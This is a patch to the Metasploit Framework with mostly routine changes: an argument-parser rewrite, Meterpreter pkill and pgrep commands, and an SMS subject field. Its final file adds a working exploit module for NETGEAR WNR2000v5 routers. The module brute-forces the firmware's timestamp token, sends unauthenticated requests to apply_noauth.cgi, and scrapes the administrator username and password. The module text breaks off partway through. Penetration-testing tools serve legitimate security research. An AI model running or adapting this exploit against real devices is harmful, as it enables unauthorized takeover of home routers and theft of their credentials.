||||
rptr += 1
|
||||
else
|
||||
rptr += 1
|
||||
if (rptr >= end_ptr)
|
||||
rptr = state
|
||||
end
|
||||
end
|
||||
buf['fptr'] = fptr
|
||||
buf['rptr'] = rptr
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -4,6 +4,7 @@
|
|||
# Auxiliary mixins
|
||||
#
|
||||
require 'msf/core/auxiliary/auth_brute'
|
||||
require 'msf/core/auxiliary/crand'
|
||||
require 'msf/core/auxiliary/dos'
|
||||
require 'msf/core/auxiliary/drdos'
|
||||
require 'msf/core/auxiliary/fuzzer'
|
||||
|
|
|
@ -22,7 +22,8 @@ module Msf
|
|||
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
|
||||
OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
|
||||
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
|
||||
OptString.new('SMSMESSAGE', [true, 'The text message to send'])
|
||||
OptString.new('SMSMESSAGE', [true, 'The text message to send']),
|
||||
OptString.new('SMSSUBJECT', [false, 'The text subject', ''])
|
||||
], Auxiliary::Sms)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -42,10 +43,11 @@ module Msf
|
|||
# sms.send_text_to_phones(numbers, 'Hello from Gmail')
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
|
||||
# @param subject [String] The text subject
|
||||
# @param message [String] The text to send.
|
||||
#
|
||||
# @return [void]
|
||||
def send_text(phone_numbers, message)
|
||||
def send_text(phone_numbers, subject, message)
|
||||
smtp = Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: datastore['SMTPADDRESS'],
|
||||
port: datastore['SMTPPORT'],
|
||||
|
@ -57,7 +59,7 @@ module Msf
|
|||
|
||||
carrier = datastore['SMSCARRIER'].to_sym
|
||||
sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp)
|
||||
sms.send_text_to_phones(phone_numbers, message)
|
||||
sms.send_text_to_phones(phone_numbers, subject, message)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -135,6 +135,7 @@ module RFTransceiver
|
|||
def rfrecv(timeout = -1, blocksize = -1)
|
||||
return "" if not is_rf?
|
||||
self.index ||= 0
|
||||
opts = {}
|
||||
opts["timeout"] = timeout if not timeout == -1
|
||||
opts["blocksize"] = blocksize if not blocksize == -1
|
||||
client.rftransceiver.rfrecv(self.index, opts)
|
||||
|
|
|
@ -122,6 +122,11 @@ module ModuleCommandDispatcher
|
|||
# Checks to see if a target is vulnerable.
|
||||
#
|
||||
def cmd_check(*args)
|
||||
if args.first =~ /^\-h$/i
|
||||
cmd_check_help
|
||||
return
|
||||
end
|
||||
|
||||
ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
|
||||
opt = Msf::OptAddressRange.new('RHOSTS')
|
||||
|
||||
|
@ -162,6 +167,32 @@ module ModuleCommandDispatcher
|
|||
end
|
||||
end
|
||||
|
||||
def cmd_check_help
|
||||
print_line('Usage: check [option] [IP Range]')
|
||||
print_line
|
||||
print_line('Options:')
|
||||
print_line('-h You are looking at it.')
|
||||
print_line
|
||||
print_line('Examples:')
|
||||
print_line('')
|
||||
print_line('Normally, if a RHOST is already specified, you can just run check.')
|
||||
print_line('But here are different ways to use the command:')
|
||||
print_line
|
||||
print_line('Against a single host:')
|
||||
print_line('check 192.168.1.123')
|
||||
print_line
|
||||
print_line('Against a range of IPs:')
|
||||
print_line('check 192.168.1.1-192.168.1.254')
|
||||
print_line
|
||||
print_line('Against a range of IPs loaded from a file:')
|
||||
print_line('check file:///tmp/ip_list.txt')
|
||||
print_line
|
||||
print_line('Multi-threaded checks:')
|
||||
print_line('1. set THREADS 10')
|
||||
print_line('2. check')
|
||||
print_line
|
||||
end
|
||||
|
||||
def report_vuln(instance)
|
||||
framework.db.report_vuln(
|
||||
workspace: instance.workspace,
|
||||
|
|
|
@ -1,108 +1,95 @@
|
|||
# -*- coding: binary -*-
|
||||
# frozen_string_literal: true
|
||||
require 'shellwords'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
###
|
||||
#
|
||||
# This class parses arguments in a getopt style format, kind of.
|
||||
# Unfortunately, the default ruby getopt implementation will only
|
||||
# work on ARGV, so we can't use it.
|
||||
#
|
||||
###
|
||||
class Arguments
|
||||
|
||||
#
|
||||
# Specifies that an option is expected to have an argument
|
||||
#
|
||||
HasArgument = (1 << 0)
|
||||
|
||||
#
|
||||
# Initializes the format list with an array of formats like:
|
||||
#
|
||||
# Arguments.new(
|
||||
# '-b' => [ false, "some text" ]
|
||||
# )
|
||||
#
|
||||
def initialize(fmt)
|
||||
self.fmt = fmt
|
||||
# I think reduce is a better name for this method, but it doesn't exist
|
||||
# before 1.8.7, so use the stupid inject instead.
|
||||
self.longest = fmt.keys.inject(0) { |max, str|
|
||||
max = ((max > str.length) ? max : str.length)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Takes a string and converts it into an array of arguments.
|
||||
#
|
||||
def self.from_s(str)
|
||||
Shellwords.shellwords(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Parses the supplied arguments into a set of options.
|
||||
#
|
||||
def parse(args, &block)
|
||||
skip_next = false
|
||||
|
||||
args.each_with_index { |arg, idx|
|
||||
if (skip_next == true)
|
||||
skip_next = false
|
||||
next
|
||||
module Parser
|
||||
###
|
||||
#
|
||||
# This class parses arguments in a getopt style format, kind of.
|
||||
# Unfortunately, the default ruby getopt implementation will only
|
||||
# work on ARGV, so we can't use it.
|
||||
#
|
||||
###
|
||||
class Arguments
|
||||
#
|
||||
# Initializes the format list with an array of formats like:
|
||||
#
|
||||
# Arguments.new(
|
||||
# '-b' => [ false, "some text" ]
|
||||
# )
|
||||
#
|
||||
def initialize(fmt)
|
||||
self.fmt = fmt
|
||||
self.longest = fmt.keys.max_by(&:length)
|
||||
end
|
||||
|
||||
if (arg.match(/^-/))
|
||||
cfs = arg[0..2]
|
||||
#
|
||||
# Takes a string and converts it into an array of arguments.
|
||||
#
|
||||
def self.from_s(str)
|
||||
Shellwords.shellwords(str)
|
||||
end
|
||||
|
||||
fmt.each_pair { |fmtspec, val|
|
||||
next if (fmtspec != cfs)
|
||||
#
|
||||
# Parses the supplied arguments into a set of options.
|
||||
#
|
||||
def parse(args, &_block)
|
||||
skip_next = false
|
||||
|
||||
param = nil
|
||||
|
||||
if (val[0])
|
||||
param = args[idx+1]
|
||||
skip_next = true
|
||||
args.each_with_index do |arg, idx|
|
||||
if skip_next
|
||||
skip_next = false
|
||||
next
|
||||
end
|
||||
|
||||
yield fmtspec, idx, param
|
||||
}
|
||||
else
|
||||
yield nil, idx, arg
|
||||
if arg[0] == '-'
|
||||
cfs = arg[0..2]
|
||||
|
||||
fmt.each_pair do |fmtspec, val|
|
||||
next if fmtspec != cfs
|
||||
|
||||
param = nil
|
||||
|
||||
if val[0]
|
||||
param = args[idx + 1]
|
||||
skip_next = true
|
||||
end
|
||||
|
||||
yield fmtspec, idx, param
|
||||
end
|
||||
else
|
||||
yield nil, idx, arg
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
#
|
||||
# Returns usage information for this parsing context.
|
||||
#
|
||||
def usage
|
||||
txt = ["\nOPTIONS:\n"]
|
||||
|
||||
fmt.sort.each do |entry|
|
||||
fmtspec, val = entry
|
||||
opt = val[0] ? " <opt> " : " "
|
||||
txt << " #{fmtspec.ljust(longest.length)}#{opt}#{val[1]}"
|
||||
end
|
||||
|
||||
txt << ""
|
||||
txt.join("\n")
|
||||
end
|
||||
|
||||
def include?(search)
|
||||
fmt.include?(search)
|
||||
end
|
||||
|
||||
def arg_required?(opt)
|
||||
fmt[opt][0] if fmt[opt]
|
||||
end
|
||||
|
||||
attr_accessor :fmt # :nodoc:
|
||||
attr_accessor :longest # :nodoc:
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns usage information for this parsing context.
|
||||
#
|
||||
def usage
|
||||
txt = "\nOPTIONS:\n\n"
|
||||
|
||||
fmt.sort.each { |entry|
|
||||
fmtspec, val = entry
|
||||
|
||||
txt << " #{fmtspec.ljust(longest)}" + ((val[0] == true) ? " <opt> " : " ")
|
||||
txt << val[1] + "\n"
|
||||
}
|
||||
|
||||
txt << "\n"
|
||||
|
||||
return txt
|
||||
end
|
||||
def include?(search)
|
||||
return fmt.include?(search)
|
||||
end
|
||||
|
||||
def arg_required?(opt)
|
||||
fmt[opt][0] if fmt[opt]
|
||||
end
|
||||
|
||||
attr_accessor :fmt # :nodoc:
|
||||
attr_accessor :longest # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -106,7 +106,7 @@ class RFTransceiver < Extension
|
|||
end
|
||||
if opt.has_key? "blocksize"
|
||||
request += "&" if not first
|
||||
request += "blocksize=#{blocksize}"
|
||||
request += "blocksize=#{opt['blocksize']}"
|
||||
end
|
||||
end
|
||||
data = client.send_request(request)
|
||||
|
|
|
@ -63,12 +63,13 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Options for the 'ps' command.
|
||||
#
|
||||
@@ps_opts = Rex::Parser::Arguments.new(
|
||||
"-S" => [ true, "String to search for (converts to regex)" ],
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-A" => [ true, "Filters processes on architecture" ],
|
||||
"-s" => [ false, "Show only SYSTEM processes" ],
|
||||
"-c" => [ false, "Show only child processes of the current shell" ],
|
||||
"-U" => [ true, "Filters processes on the user using the supplied RegEx"])
|
||||
"-S" => [ true, "Filter on process name" ],
|
||||
"-U" => [ true, "Filter on user name" ],
|
||||
"-A" => [ true, "Filter on architecture" ],
|
||||
"-x" => [ false, "Filter for exact matches rather than regex" ],
|
||||
"-s" => [ false, "Filter only SYSTEM processes" ],
|
||||
"-c" => [ false, "Filter only child processes of the current shell" ],
|
||||
"-h" => [ false, "Help menu." ])
|
||||
|
||||
#
|
||||
# Options for the 'suspend' command.
|
||||
|
@ -92,6 +93,8 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"getsid" => "Get the SID of the user that the server is running as",
|
||||
"getenv" => "Get one or more environment variable values",
|
||||
"kill" => "Terminate a process",
|
||||
"pkill" => "Terminate processes by name",
|
||||
"pgrep" => "Filter processes by name",
|
||||
"ps" => "List running processes",
|
||||
"reboot" => "Reboots the remote computer",
|
||||
"reg" => "Modify and interact with the remote registry",
|
||||
|
@ -113,6 +116,8 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"getsid" => [ "stdapi_sys_config_getsid" ],
|
||||
"getenv" => [ "stdapi_sys_config_getenv" ],
|
||||
"kill" => [ "stdapi_sys_process_kill" ],
|
||||
"pkill" => [ "stdapi_sys_process_kill", "stdapi_sys_process_get_processes" ],
|
||||
"pgrep" => [ "stdapi_sys_process_get_processes" ],
|
||||
"ps" => [ "stdapi_sys_process_get_processes" ],
|
||||
"reboot" => [ "stdapi_sys_power_exitwindows" ],
|
||||
"reg" => [
|
||||
|
@ -372,7 +377,81 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
def cmd_kill_help
|
||||
print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
|
||||
print_line("Terminate one or more processes.")
|
||||
print_line(" -s : Kills the pid associated with the current session.")
|
||||
print_line(" -s Kills the pid associated with the current session.")
|
||||
end
|
||||
|
||||
#
|
||||
# Kills one or more processes by name.
|
||||
#
|
||||
def cmd_pkill(*args)
|
||||
if args.include?('-h')
|
||||
cmd_pkill_help
|
||||
return true
|
||||
end
|
||||
|
||||
all_processes = client.sys.process.get_processes
|
||||
processes = match_processes(all_processes, args)
|
||||
|
||||
if processes.length == 0
|
||||
print_line("No matching processes were found.")
|
||||
return true
|
||||
end
|
||||
|
||||
if processes.length == all_processes.length && !args.include?('-f')
|
||||
print_error("All processes will be killed, use '-f' to force.")
|
||||
return true
|
||||
end
|
||||
|
||||
pids = processes.collect { |p| p['pid'] }.reverse
|
||||
print_line("Killing: #{pids.join(', ')}")
|
||||
client.sys.process.kill(*(pids.map { |x| x }))
|
||||
true
|
||||
end
|
||||
|
||||
def cmd_pkill_help
|
||||
print_line("Usage: pkill [ options ] pattern")
|
||||
print_line("Terminate one or more processes by name.")
|
||||
print_line @@ps_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Filters processes by name
|
||||
#
|
||||
def cmd_pgrep(*args)
|
||||
if args.include?('-h')
|
||||
cmd_pgrep_help
|
||||
return true
|
||||
end
|
||||
|
||||
all_processes = client.sys.process.get_processes
|
||||
processes = match_processes(all_processes, args, quiet: true)
|
||||
|
||||
if processes.length == 0 || processes.length == all_processes.length
|
||||
return true
|
||||
end
|
||||
|
||||
# XXX fix Rex parser to properly handle adjacent short flags
|
||||
f_flag = args.include?('-f') || args.include?('-lf') || args.include?('-fl')
|
||||
l_flag = args.include?('-l') || args.include?('-lf') || args.include?('-fl')
|
||||
|
||||
processes.each do |p|
|
||||
if l_flag
|
||||
if f_flag
|
||||
print_line("#{p['pid']} #{p['path']}")
|
||||
else
|
||||
print_line("#{p['pid']} #{p['name']}")
|
||||
end
|
||||
else
|
||||
print_line("#{p['pid']}")
|
||||
end
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
def cmd_pgrep_help
|
||||
print_line("Usage: pgrep [ options ] pattern")
|
||||
print_line("Filter processes by name.")
|
||||
print_line @@ps_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -418,7 +497,87 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
valid_pids << pid
|
||||
end
|
||||
end
|
||||
return valid_pids
|
||||
valid_pids
|
||||
end
|
||||
|
||||
def match_processes(processes, args, quiet: false)
|
||||
|
||||
search_proc = nil
|
||||
search_user = nil
|
||||
exact_match = false
|
||||
|
||||
# Parse opts
|
||||
@@ps_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-S', nil
|
||||
if val.nil? || val.empty?
|
||||
print_error "Enter a process name"
|
||||
processes = []
|
||||
else
|
||||
search_proc = val
|
||||
end
|
||||
when "-U"
|
||||
if val.nil? || val.empty?
|
||||
print_line "Enter a process user"
|
||||
processes = []
|
||||
else
|
||||
search_user = val
|
||||
end
|
||||
when '-x'
|
||||
exact_match = true
|
||||
when "-A"
|
||||
if val.nil? || val.empty?
|
||||
print_error "Enter an architecture"
|
||||
processes = []
|
||||
else
|
||||
print_line "Filtering on arch '#{val}" if !quiet
|
||||
processes = processes.select do |p|
|
||||
p['arch'] == val
|
||||
end
|
||||
end
|
||||
when "-s"
|
||||
print_line "Filtering on SYSTEM processes..." if !quiet
|
||||
processes = processes.select do |p|
|
||||
["NT AUTHORITY\\SYSTEM", "root"].include? p['user']
|
||||
end
|
||||
when "-c"
|
||||
print_line "Filtering on child processes of the current shell..." if !quiet
|
||||
current_shell_pid = client.sys.process.getpid
|
||||
processes = processes.select do |p|
|
||||
p['ppid'] == current_shell_pid
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless search_proc.nil?
|
||||
print_line "Filtering on '#{search_proc}'" if !quiet
|
||||
if exact_match
|
||||
processes = processes.select do |p|
|
||||
p['name'] == search_proc
|
||||
end
|
||||
else
|
||||
match = /#{search_proc}/
|
||||
processes = processes.select do |p|
|
||||
p['name'] =~ match
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless search_user.nil?
|
||||
print_line "Filtering on user '#{search_user}'" if !quiet
|
||||
if exact_match
|
||||
processes = processes.select do |p|
|
||||
p['user'] == search_user
|
||||
end
|
||||
else
|
||||
match = /#{search_user}/
|
||||
processes = processes.select do |p|
|
||||
p['user'] =~ match
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new(processes)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -430,80 +589,28 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
return true
|
||||
end
|
||||
|
||||
# Init vars
|
||||
processes = client.sys.process.get_processes
|
||||
search_term = nil
|
||||
all_processes = client.sys.process.get_processes
|
||||
processes = match_processes(all_processes, args)
|
||||
|
||||
# Parse opts
|
||||
@@ps_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-S'
|
||||
search_term = val
|
||||
if search_term.nil?
|
||||
print_error("Enter a search term")
|
||||
return true
|
||||
end
|
||||
when "-A"
|
||||
print_line "Filtering on arch..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
next if proc['arch'].nil? or proc['arch'].empty?
|
||||
if val.nil? or val.empty?
|
||||
return false
|
||||
end
|
||||
searched_procs << proc if proc["arch"] == val
|
||||
end
|
||||
processes = searched_procs
|
||||
when "-s"
|
||||
print_line "Filtering on SYSTEM processes..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
|
||||
end
|
||||
processes = searched_procs
|
||||
when "-c"
|
||||
print_line "Filtering on child processes of the current shell..."
|
||||
current_shell_pid = client.sys.process.getpid
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
searched_procs << proc if proc['ppid'] == current_shell_pid
|
||||
end
|
||||
processes = searched_procs
|
||||
when "-U"
|
||||
print_line "Filtering on user name..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
if val.nil? or val.empty?
|
||||
print_line "You must supply a search term!"
|
||||
return false
|
||||
end
|
||||
searched_procs << proc if proc["user"].match(/#{val}/)
|
||||
end
|
||||
processes = searched_procs
|
||||
end
|
||||
}
|
||||
|
||||
if (processes.length == 0)
|
||||
print_line("No running processes were found.")
|
||||
else
|
||||
tbl = processes.to_table('SearchTerm' => search_term)
|
||||
print_line
|
||||
print_line(tbl.to_s)
|
||||
if processes.length == 0
|
||||
print_line("No matching processes were found.")
|
||||
return true
|
||||
end
|
||||
return true
|
||||
|
||||
tbl = processes.to_table
|
||||
print_line
|
||||
print_line(tbl.to_s)
|
||||
true
|
||||
end
|
||||
|
||||
def cmd_ps_help
|
||||
print_line "Usage: ps [ options ]"
|
||||
print_line "Usage: ps [ options ] pattern"
|
||||
print_line
|
||||
print_line "Use the command with no arguments to see all running processes."
|
||||
print_line "The following options can be used to filter those results:"
|
||||
|
||||
print_line @@ps_opts.usage
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Reboots the remote computer.
|
||||
#
|
||||
|
|
|
@ -32,10 +32,11 @@ module Rex
|
|||
# Sends a text to multiple recipients.
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of phone numbers.
|
||||
# @param subject [String] Subject of the message
|
||||
# @param message [String] The text message to send.
|
||||
#
|
||||
# @return [void]
|
||||
def send_text_to_phones(phone_numbers, message)
|
||||
def send_text_to_phones(phone_numbers, subject, message)
|
||||
carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier]
|
||||
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
|
||||
address = self.smtp_server.address
|
||||
|
@ -52,7 +53,13 @@ module Rex
|
|||
smtp.enable_starttls_auto
|
||||
smtp.start(helo_domain, username, password, login_type) do
|
||||
recipients.each do |r|
|
||||
smtp.send_message(message, from, r)
|
||||
sms_message = Rex::Proto::Sms::Model::Message.new(
|
||||
from: from,
|
||||
to: r,
|
||||
subject: subject,
|
||||
message: message
|
||||
)
|
||||
smtp.send_message(sms_message.to_s, from, r)
|
||||
end
|
||||
end
|
||||
rescue Net::SMTPAuthenticationError => e
|
||||
|
|
|
@ -28,4 +28,5 @@ end
|
|||
|
||||
require 'net/smtp'
|
||||
require 'rex/proto/sms/model/smtp'
|
||||
require 'rex/proto/sms/model/message'
|
||||
require 'rex/proto/sms/client'
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Sms
|
||||
module Model
|
||||
class Message
|
||||
|
||||
# @!attribute message
|
||||
# @return [String] The text message
|
||||
attr_accessor :message
|
||||
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] The from field in the email
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute to
|
||||
# @return [String] The to field in the email
|
||||
attr_accessor :to
|
||||
|
||||
# @!attribute subject
|
||||
# @return [String] The subject of the email
|
||||
attr_accessor :subject
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :from
|
||||
# @option opts [String] :to
|
||||
# @option opts [String] :message
|
||||
#
|
||||
# @return [Rex::Proto::Sms::Model::Message]
|
||||
def initialize(opts={})
|
||||
self.from = opts[:from]
|
||||
self.to = opts[:to]
|
||||
self.message = opts[:message]
|
||||
self.subject = opts[:subject]
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw SMS message
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
body = Rex::MIME::Message.new
|
||||
body.add_part(self.message, 'text/plain; charset=UTF-8', nil)
|
||||
|
||||
sms = "MIME-Version: 1.0\n"
|
||||
sms << "From: #{self.from}\n"
|
||||
sms << "To: #{self.to}\n"
|
||||
sms << "Subject: #{self.subject}\n"
|
||||
sms << "Content-Type: multipart/alternative; boundary=#{body.bound}\n"
|
||||
sms << "\n"
|
||||
sms << body.to_s
|
||||
|
||||
sms
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
|
|||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.19'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.8'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -0,0 +1,261 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'time'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
|
||||
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
|
||||
the value of a certain timestamp which is in the configuration of the router.
|
||||
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
|
||||
it is guaranteed that it can be bruteforced.
|
||||
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
|
||||
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
|
||||
has not been tested.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-10175'],
|
||||
['CVE', '2016-10176'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
|
||||
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2016'))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
||||
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_current_time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
return Time.parse(date).strftime('%s').to_i
|
||||
end
|
||||
end
|
||||
|
||||
# Do some crazyness to force Ruby to cast to a single-precision float and
|
||||
# back to an integer.
|
||||
# This emulates the behaviour of the soft-fp library and the float cast
|
||||
# which is done at the end of Netgear's timestamp generator.
|
||||
def ieee754_round (number)
|
||||
[number].pack('f').unpack('f*')[0].to_i
|
||||
end
|
||||
|
||||
|
||||
# This is the actual algorithm used in the get_timestamp function in
|
||||
# the Netgear firmware.
|
||||
def get_timestamp(time)
|
||||
srandom_r time
|
||||
t0 = random_r
|
||||
t1 = 0x17dc65df;
|
||||
hi = (t0 * t1) >> 32;
|
||||
t2 = t0 >> 31;
|
||||
t3 = hi >> 23;
|
||||
t3 = t3 - t2;
|
||||
t4 = t3 * 0x55d4a80;
|
||||
t0 = t0 - t4;
|
||||
t0 = t0 + 0x989680;
|
||||
|
||||
ieee754_round(t0)
|
||||
end
|
||||
|
||||
def get_creds
|
||||
res = send_request_cgi({
|
||||
'uri' => '/BRS_netgear_success.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.body =~ /var sn="([\w]*)";/
|
||||
serial = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
|
||||
end
|
||||
|
||||
# 1: send serial number
|
||||
send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi?/unauth.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'match_sn',
|
||||
'serial_num' => serial,
|
||||
'continue' => '+Continue+'
|
||||
}
|
||||
})
|
||||
|
||||
# 2: send answer to secret questions
|
||||
send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'security_question',
|
||||
'answer1' => @q1,
|
||||
'answer2' => @q2,
|
||||
'continue' => '+Continue+'
|
||||
}
|
||||
})
|
||||
|
||||
# 3: PROFIT!!!
|
||||
res = send_request_cgi({
|
||||
'uri' => '/passwordrecovered.cgi',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.body =~ /Admin Password: (.*)<\/TD>/
|
||||
password = $1
|
||||
if password.blank?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
|
||||
end
|
||||
|
||||
if res && res.body =~ /Admin Username: (.*)<\/TD>/
|
||||
username = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
|
||||
end
|
||||
|
||||
return [username, password]
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: 'netgear',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def send_req(timestamp)
|
||||
begin
|
||||
uri_str = (timestamp == nil ? \
|
||||
"/apply_noauth.cgi?/PWD_password.htm" : \
|
||||
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
|
||||
res = send_request_raw({
|
||||
'uri' => uri_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
|
||||
})
|
||||
return res
|
||||
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# generate the security questions
|
||||
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
|
||||
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
||||
print_status("#{peer} - Trying the easy way out first")
|
||||
res = send_req(nil)
|
||||
if res && res.code == 200
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
||||
return
|
||||
end
|
